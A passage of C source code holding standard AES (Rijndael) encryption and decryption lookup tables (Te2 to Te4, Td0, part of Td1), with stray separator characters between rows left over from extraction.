0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU,
|
||||
0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU,
|
||||
0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU,
|
||||
0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U,
|
||||
0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U,
|
||||
0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU,
|
||||
0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U,
|
||||
0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU,
|
||||
0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U,
|
||||
0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU,
|
||||
0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U,
|
||||
0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU,
|
||||
0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU,
|
||||
0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U,
|
||||
0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU,
|
||||
0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U,
|
||||
0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU,
|
||||
0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U,
|
||||
0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U,
|
||||
0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U,
|
||||
0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU,
|
||||
0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU,
|
||||
0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U,
|
||||
0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU,
|
||||
0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U,
|
||||
};
|
||||
|
||||
static const unsigned int Te2[256] =
|
||||
{
|
||||
0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU,
|
||||
0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U,
|
||||
0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU,
|
||||
0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U,
|
||||
0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU,
|
||||
0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U,
|
||||
0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU,
|
||||
0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U,
|
||||
0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U,
|
||||
0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU,
|
||||
0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U,
|
||||
0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U,
|
||||
0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U,
|
||||
0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU,
|
||||
0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U,
|
||||
0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U,
|
||||
0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU,
|
||||
0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U,
|
||||
0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U,
|
||||
0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U,
|
||||
0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU,
|
||||
0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU,
|
||||
0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U,
|
||||
0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU,
|
||||
0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU,
|
||||
0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U,
|
||||
0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU,
|
||||
0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U,
|
||||
0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU,
|
||||
0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U,
|
||||
0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U,
|
||||
0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U,
|
||||
0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU,
|
||||
0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U,
|
||||
0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU,
|
||||
0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U,
|
||||
0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU,
|
||||
0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U,
|
||||
0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U,
|
||||
0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU,
|
||||
0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU,
|
||||
0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU,
|
||||
0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U,
|
||||
0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U,
|
||||
0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU,
|
||||
0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U,
|
||||
0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU,
|
||||
0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U,
|
||||
0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU,
|
||||
0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U,
|
||||
0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU,
|
||||
0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU,
|
||||
0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U,
|
||||
0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU,
|
||||
0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U,
|
||||
0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU,
|
||||
0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U,
|
||||
0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U,
|
||||
0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U,
|
||||
0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU,
|
||||
0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU,
|
||||
0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U,
|
||||
0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU,
|
||||
0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U,
|
||||
};
|
||||
|
||||
static const unsigned int Te3[256] =
|
||||
{
|
||||
0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U,
|
||||
0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U,
|
||||
0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U,
|
||||
0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU,
|
||||
0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU,
|
||||
0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU,
|
||||
0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U,
|
||||
0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU,
|
||||
0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU,
|
||||
0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U,
|
||||
0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U,
|
||||
0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU,
|
||||
0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU,
|
||||
0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU,
|
||||
0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU,
|
||||
0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU,
|
||||
0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U,
|
||||
0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU,
|
||||
0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU,
|
||||
0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U,
|
||||
0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U,
|
||||
0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U,
|
||||
0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U,
|
||||
0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U,
|
||||
0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU,
|
||||
0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U,
|
||||
0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU,
|
||||
0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU,
|
||||
0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U,
|
||||
0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U,
|
||||
0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U,
|
||||
0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU,
|
||||
0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U,
|
||||
0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU,
|
||||
0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU,
|
||||
0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U,
|
||||
0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U,
|
||||
0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU,
|
||||
0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U,
|
||||
0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU,
|
||||
0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U,
|
||||
0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U,
|
||||
0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U,
|
||||
0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U,
|
||||
0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU,
|
||||
0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U,
|
||||
0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU,
|
||||
0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U,
|
||||
0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU,
|
||||
0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U,
|
||||
0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU,
|
||||
0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU,
|
||||
0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU,
|
||||
0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU,
|
||||
0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U,
|
||||
0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U,
|
||||
0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U,
|
||||
0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U,
|
||||
0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U,
|
||||
0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U,
|
||||
0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU,
|
||||
0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U,
|
||||
0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU,
|
||||
0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU,
|
||||
};
|
||||
|
||||
static const unsigned int Te4[256] =
|
||||
{
|
||||
0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU,
|
||||
0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U,
|
||||
0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU,
|
||||
0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U,
|
||||
0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU,
|
||||
0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U,
|
||||
0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU,
|
||||
0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U,
|
||||
0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U,
|
||||
0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU,
|
||||
0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U,
|
||||
0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U,
|
||||
0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U,
|
||||
0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU,
|
||||
0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U,
|
||||
0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U,
|
||||
0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU,
|
||||
0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U,
|
||||
0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U,
|
||||
0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U,
|
||||
0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU,
|
||||
0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU,
|
||||
0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U,
|
||||
0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU,
|
||||
0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU,
|
||||
0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U,
|
||||
0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU,
|
||||
0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U,
|
||||
0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU,
|
||||
0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U,
|
||||
0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U,
|
||||
0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U,
|
||||
0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU,
|
||||
0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U,
|
||||
0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU,
|
||||
0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U,
|
||||
0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU,
|
||||
0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U,
|
||||
0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U,
|
||||
0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU,
|
||||
0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU,
|
||||
0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU,
|
||||
0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U,
|
||||
0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U,
|
||||
0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU,
|
||||
0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U,
|
||||
0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU,
|
||||
0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U,
|
||||
0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU,
|
||||
0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U,
|
||||
0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU,
|
||||
0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU,
|
||||
0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U,
|
||||
0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU,
|
||||
0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U,
|
||||
0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU,
|
||||
0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U,
|
||||
0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U,
|
||||
0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U,
|
||||
0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU,
|
||||
0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU,
|
||||
0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U,
|
||||
0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU,
|
||||
0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U,
|
||||
};
|
||||
|
||||
static const unsigned int Td0[256] =
|
||||
{
|
||||
0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U,
|
||||
0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U,
|
||||
0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U,
|
||||
0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU,
|
||||
0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U,
|
||||
0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U,
|
||||
0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU,
|
||||
0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U,
|
||||
0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU,
|
||||
0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U,
|
||||
0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U,
|
||||
0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U,
|
||||
0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U,
|
||||
0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU,
|
||||
0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U,
|
||||
0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU,
|
||||
0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U,
|
||||
0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU,
|
||||
0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U,
|
||||
0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U,
|
||||
0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U,
|
||||
0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU,
|
||||
0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U,
|
||||
0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU,
|
||||
0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U,
|
||||
0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU,
|
||||
0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U,
|
||||
0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU,
|
||||
0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU,
|
||||
0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U,
|
||||
0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU,
|
||||
0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U,
|
||||
0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU,
|
||||
0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U,
|
||||
0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U,
|
||||
0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U,
|
||||
0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU,
|
||||
0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U,
|
||||
0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U,
|
||||
0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU,
|
||||
0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U,
|
||||
0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U,
|
||||
0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U,
|
||||
0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U,
|
||||
0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U,
|
||||
0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU,
|
||||
0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U,
|
||||
0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U,
|
||||
0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U,
|
||||
0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U,
|
||||
0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U,
|
||||
0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU,
|
||||
0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU,
|
||||
0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU,
|
||||
0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU,
|
||||
0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U,
|
||||
0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U,
|
||||
0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU,
|
||||
0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU,
|
||||
0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U,
|
||||
0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU,
|
||||
0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U,
|
||||
0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U,
|
||||
0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U,
|
||||
};
|
||||
|
||||
static const unsigned int Td1[256] =
|
||||
{
|
||||
0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU,
|
||||
0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U,
|
||||
0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU,
|
||||
0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U,
|
||||
0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U,
|
||||
0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U,
|
||||
0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U,
|
||||
0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U,
|
||||
0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U,
|
||||
0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU,
|
||||
0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU,
|
||||
0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU,
|
||||
0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U,
|
||||
0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU,
|
||||
0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U,
|
||||
0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U,
|
||||
0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U,
|
||||
0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU,
|
||||
0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU,
|
||||
0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U,
|
||||
0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU,
|
||||
0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U,
|
||||
0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU,
|
||||
0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU,
|
||||
0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U,
|
||||
0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U,
|
||||
0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U,
|
||||
0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU,
|
||||
0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U,
|
||||
0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU,
|
||||
0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U,
|
||||
0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U,
|
||||
0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U,
|
||||
0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU,
|
||||
